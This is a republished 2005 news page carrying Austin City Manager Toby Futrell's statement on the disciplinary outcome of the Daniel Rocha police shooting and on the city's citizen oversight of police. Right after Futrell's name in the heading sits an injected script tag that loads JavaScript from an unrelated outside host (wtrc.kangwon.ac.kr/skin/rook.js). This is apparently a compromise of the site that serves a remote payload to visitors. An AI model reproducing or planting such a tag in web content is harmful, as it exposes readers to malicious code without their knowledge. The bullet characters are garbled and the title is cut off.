NEWS > 18 November 2005

Article sourced from

Toby Futrell<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

News 8 Austin - Austin, TX, US
18 November 2005

This article appeared in the above title/site.
To view it in its entirity click this link.

Toby Futrell

City Manager's statement on Sc

Re: Daniel Rocha Shooting / Disciplinary Decisions

I believe Austin has one of the best Police departments in the country. I'm proud of our officers and proud of our Department. Truly exceptional organizations, like the Austin Police Department, realize that part of maintaining excellence is openness and a willingness to be accountable.

This department and this city government understand that we are accountable to our citizens. This is something we take seriously. Because this accountability is so critical to this community, we have embraced a Citizens Oversight Function. Austin is one of a very few cities in the country that established a Police Monitor's Office with Citizen Oversight to further elevate the accountability and integrity of our Police force. I want to emphasize what this community has gained in the creation of this function
To understand Citizen's Oversight you must first understand the State Civil Service Law that governs the Austin Police Department. Here's the Civil Service framework:

� By law only the Chief may discipline a civil service officer.

� These laws do not allow ANY citizen access to an officer's disciplinary files or review of the disciplinary process unless an officer is suspended for at least one day.

� In the event suspension occurs, the files are public after the
discipline is administered.

� By design, the internal investigation process is closed to outside scrutiny.

However through the creation of an oversight function:

� Citizens are now given an explanation of how their complaints get resolved.

� Annual reports publicly present statistical trends on discipline
and complaint patterns.

� Seven regular citizens now have full access to investigatory files
and the ability to review and weigh in on trends in disciplinary decisions.

� On critical incidents, like the Daniel Rocha shooting, that review
is part of the up-front input to the Chief.

� So, now when the Chief looks at all the investigatory information, he is able to also weigh the Panel's recommendation as he makes his decision.

While the process is not perfect by any means, it is a vast improvement to what we have had in the past. It is progress. And Oversight is only one part of a comprehensive process the Chief follows to determine discipline.

The Chief's decision today was made after extensive investigation, a review of all the facts, full involvement by the officer's chain of command, and the added insights of Citizen Oversight. The most difficult decision a Police Chief makes is one involving the discipline of an officer. Discipline involves high emotion on all sides.

Some officers are going to be thinking that there but for the grace of God goes me....being second guessed about a decision they had to make in a split second in a chaotic moment. And some citizens are going to be thinking that there but for the grace of God go my child or my family member....

While other citizens, absent having all the facts the Chief has, are going to think that they must offer unconditional support to law enforcement -- that investigations are a witch hunt and that they must rally to support officers in general. In reality, these decisions are rarely clear cut and often involve good people with good intentions. Ultimately, however, it is the Chief's responsibility to remove all the emotion and to make decisions based on the facts of an individual case. Decisions that will reinforce the accountability this community demands and deserves.

Sgt. Doyle's discipline of 28 days of suspension reflects his responsibility as a supervisor. I'd like to note that Sgt. Doyle is an officer who showed remarkable personal courage and candor throughout the investigation. Officer Julie Schroeder has been indefinitely suspended.

And while I am not consoled by the decision to fire an officer today, I am fully supportive of that decision. I am convinced the Chief has taken the steps necessary to ensure that accountability remains intact in this Department and this community. Our officers do a very difficult job on the front line to keep our community safe. Carrying a lethal weapon as a police officer in our community conveys both powerful responsibility and consequences.

Officers must have the judgment required by the job. Not everyone is cut out to be a police officer. Once again, these incidents often involve good people with good intentions. It's the Chief's job to determine if someone should remain empowered to carry a weapon as a Law Enforcement Officer in our community. And that's what he's done today. The Grand Jury makes decisions on the criminal side. This decision is different. This decision is administrative.

Finally, I want to take this opportunity to express my condolences to all those involved. This is a tragedy that has deeply and irrevocably impacted two families: the Rocha and Schroeder families.

While no decision can remedy the past, it is our responsibility to uphold the integrity of our police department and constantly work for the trust of the community we serve. I ask officers and the community alike to honor the administrative investigatory process and respect the difficult decisions made here today.

Toby Hammett Futrell
City Manager

EiP Comments:

* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.

Other related articles:

Article sourced from

News 8 Austin - Austin, TX, US18 November 2005

City Manager's statement on Sc

EiP Comments:

News 8 Austin - Austin, TX, US
18 November 2005